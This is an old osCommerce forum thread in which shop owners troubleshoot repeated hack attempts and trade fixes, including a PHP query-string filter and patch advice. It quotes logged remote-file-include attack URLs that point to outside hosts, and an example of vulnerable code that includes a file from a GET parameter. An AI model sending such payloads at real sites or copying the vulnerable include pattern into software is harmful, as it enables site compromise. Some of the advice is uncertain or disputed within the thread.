After 3 great years, I'm being hacked!

[Jack_mcs]

1. If on a shared server do not set "Use Cache" to true. What you may be seeing as a hack could simply be the details of another website appearing on your site by virtue of using a server-wide cache folder aliased to the cache folder on every site on the server. Meaning - your cache folder is actually linked to the server-wide cache folder, allowing other sites Categories/Products to appear on your website.

To clarify, this is only a problem if the path to the cache is left at the default tmp directory. If that is changed to a location within the site, it will be unique to that site and not cause a problem.

 

Jack

[WedgeCoop]

I'm not positive about this but I think that

 

'ip.--.--.ip' /product_info.php?products_id=http://mifumisokuimsedfsisumsdoklop.mail15.su/image? 200

 

is an attempted remote file include exploit and not a sql injection attack. If it is a remote file include attempt, I think it would only hurt you if you had code similar to

 

require($_GET['products_id'].'.php');

 

If you did, your page would include any scripts from mifumisokuimsedfsisumsdoklop.mail15.su/image.php.

 

The best thing to do for this attack is to block any requests with "http://" in the query string.

[MJP]

I'm not positive about this but I think that

is an attempted remote file include exploit and not a sql injection attack. If it is a remote file include attempt, I think it would only hurt you if you had code similar to

 

require($_GET['products_id'].'.php');

 

If you did, your page would include any scripts from mifumisokuimsedfsisumsdoklop.mail15.su/image.php.

 

The best thing to do for this attack is to block any requests with "http://" in the query string.

where and how do you block any requests with http:// in the string?

[WedgeCoop]

If you have mod_rewrite, you should be able to block the requests with your htaccess file. I don't know what exactly you put in there, but you should be able to google it.

 

You could also catch the request and redirect it with PHP. Put the following at the top of your application_top.php file.

 

// redirect attempted remote file include exploits
 if (strpos($_SERVER['QUERY_STRING'],'http:') !== false){
header("Location: http://www.mysite.com");
exit;
 }

 

Here are a couple of articles explaining more about remote file include exploits:

http://ghimau.blogspot.com/2007/03/remote-file-include.html

http://www.datastronghold.com/security-art...nerability.html

[MJP]

If you have mod_rewrite, you should be able to block the requests with your htaccess file. I don't know what exactly you put in there, but you should be able to google it.

 

You could also catch the request and redirect it with PHP. Put the following at the top of your application_top.php file.

 

// redirect attempted remote file include exploits
 if (strpos($_SERVER['QUERY_STRING'],'http:') !== false){
header("Location: http://www.mysite.com");
exit;
 }

 

Here are a couple of articles explaining more about remote file include exploits:

http://ghimau.blogspot.com/2007/03/remote-file-include.html

http://www.datastronghold.com/security-art...nerability.html

Thanks very much, Joe! I appreciate your help. All this now explains everything to me and I now have a better understanding what to do now.

[Guest]

i second that, thanks WedgeCoop!

[dfy-pro]

Great stuff Joe!

 

I've tried that, and changed all the passwords. Let's see if that patch will solve my problem temporarily until I'll update the site.

 

Thanks again.

[dfy-pro]

:blush:

Great stuff Joe!

 

I've tried that, and changed all the passwords. Let's see if that patch will solve my problem temporarily until I'll update the site.

 

Thanks again.

 

nope. that didn't work for me. I'm still being hacked.

[WedgeCoop]

I would think then that

 

'ip.--.--.ip' /product_info.php?products_id=http://mifumisokuimsedfsisumsdoklop.mail15.su/image? 200

 

is not how they are getting in now. Maybe it was used at some point to gain access or maybe its a red herring. I don't think stock OSC is susceptible to remote file inclusion.

[MarcellaE]

:blush:

 

nope. that didn't work for me. I'm still being hacked.

I'm having the same hack attempt issue except it's on the infobox. /shop/index.php?infoBox=http://amymusicgirl.h17.ru/mysong.txt? I did try Joe's fix. They are still coming in but I don't see their link attempt at inclusion all I see is the link I put in, in header ("Location:http:mysite.com"); portion of Joe's code.

 

so I don't know if that is doing the job or not because they (whoever they are!) are still coming to my store.

[MarcellaE]

I'm also banning IP but it seems futile. there's so many coming in from all over the world! this is madness to say the least. are these a network of hackers or hijacked computers running these scripts? I don't begin to understand the world of hacking to know what's going on.

[WedgeCoop]

I'm having the same hack attempt issue except it's on the infobox. /shop/index.php?infoBox=http://amymusicgirl.h17.ru/mysong.txt? I did try Joe's fix. They are still coming in but I don't see their link attempt at inclusion all I see is the link I put in, in header ("Location:http:mysite.com"); portion of Joe's code.

 

so I don't know if that is doing the job or not because they (whoever they are!) are still coming to my store.

 

This code is a little better.

 

// redirect attempted remote file include exploits
 if (strpos(strtolower($_SERVER['QUERY_STRING']),'http:') !== false){
header("Location: http://www.wedgeworldwide.coop");
exit;
 }

 

I added strtolower() in case they capitalize the http.

 

As long as you put the code at the top of application_top.php, it should stop the remote file include attempt. The code makes it so that the very first thing that happens is the request is redirected and the query string is cleared. There is no chance for an include to take place.

 

Just because they are attempting it doesn't mean they are successful. It's probably an automated script that keeps retrying. Like I said before, I don't think stock OSC is vulnerable to this, so you don't have to worry about it unless you've added a contribution or customized the code to make it vulnerable.

[MarcellaE]

This code is a little better.

 

// redirect attempted remote file include exploits
 if (strpos(strtolower($_SERVER['QUERY_STRING']),'http:') !== false){
header("Location: http://www.wedgeworldwide.coop");
exit;
 }

 

I added strtolower() in case they capitalize the http.

 

As long as you put the code at the top of application_top.php, it should stop the remote file include attempt. The code makes it so that the very first thing that happens is the request is redirected and the query string is cleared. There is no chance for an include to take place.

 

Just because they are attempting it doesn't mean they are successful. It's probably an automated script that keeps retrying. Like I said before, I don't think stock OSC is vulnerable to this, so you don't have to worry about it unless you've added a contribution or customized the code to make it vulnerable.

Thank you, Joe. I did assume your code was doing the job but just wanted to make sure. You're a godsend!

[♥Vger]

product_info.php?products_id=http://mifumisokuimsedfsisumsdoklop.mail15.su/image?

 

This is an exploit of an unpatched redirect.php file. Unpatched it allows outsiders to append url's to your product pages and redirect them elsewhere.

 

This was fixed two years ago - so your answer is to update to osCommerce 2.2 MS2 (060817). Manual update instructions are included in the download, which is available here:

http://sourceforge.net/forum/forum.php?forum_id=602535

 

If you haven't updated it also means that your Contact Us form is open to hijacking by spammers - amongst other exploits.

 

Vger

[WedgeCoop]

Vger, I don't think they are trying to exploit the old redirect.php file and use it as an open relay.

 

Here are a couple of articles discussing include exploit attempts that list specific bad URLs. Some on the list are very close to the ones listed in this thread.

 

http://todd.wallentine.com/blog/?p=174

http://www.jerry-bell.com/category/hacking/

 

The question mark on the end of the query string is a signal that they are trying to include.

[MJP]

Thank you, Joe. I did assume your code was doing the job but just wanted to make sure. You're a godsend!

I agree. Joe's code has gotten the script kiddies to give up. I haven't seen any in my store for couple days now. Yahoo!

[user99999999]

'ip.--.--.ip' /product_info.php?products_id=http://mifumisokuimsedfsisumsdoklop.mail15.su/image? 200

 

I dont think this file inclusion is your problem. There is lots of these attacking any php page. I see the IRC Bot lately.

 

http://www.castlecops.com/modules.php?name...T&fp=attack

 

The main sql injection was for products attributes and is easy to fix.

 

http://www.oscommerce.com/ext/update-20060817.html

 

In catalog/shopping_cart.php its putting (int) in front of the values.

 

In catalog/includes/classes/shopping_cart.php add/modify the sections about $attributes_pass_check lines 84-96 and 137-149

[ELnew]

I read through this all, and only thing I thought about is.... when dfy-pro said "they mentioned the mysql injection fix was only on the index.php file... (an I'm not even using this file...)"

 

Who doesn't use their index page?

[EagerBeginner&Photo.]

I just found out from this forum http://www.ozzu.com/hosting-forum/hosting-...rce-t45717.html that oscommerce has vulnerabilities because of register_globals

 

...here "Register globals are a "directive" within php. The world is moving away from register globals - if they arent used properly, they can create vulnerabilities...

As of php 4.2.0, register globals is off by default in php - previously, they were on by default. Alot of applications still rely on register globals and as such, we are in a bit of a transition period. Some hosts choose to have them off, however, the majority are keeping them on for now - simply because alot of the more common apps still require them (ie osCommerce) You can read more about this here: http://ca3.php.net/register_globals

Andrew - http://www.cartikahosting.com "

 

So how can one use osCommerce and be protected?

[spooks]

I just found out from this forum http://www.ozzu.com/hosting-forum/hosting-...rce-t45717.html that oscommerce has vulnerabilities because of register_globals

 

...here "Register globals are a "directive" within php. The world is moving away from register globals - if they arent used properly, they can create vulnerabilities...

As of php 4.2.0, register globals is off by default in php - previously, they were on by default. Alot of applications still rely on register globals and as such, we are in a bit of a transition period. Some hosts choose to have them off, however, the majority are keeping them on for now - simply because alot of the more common apps still require them (ie osCommerce) You can read more about this here: http://ca3.php.net/register_globals

Andrew - http://www.cartikahosting.com "

 

So how can one use osCommerce and be protected?

 

REPEATING OURSELFS ARE'NT WE!!

 

osC has been compatible with register globals off for some time. You`ve just joined should'nt you check things out first!!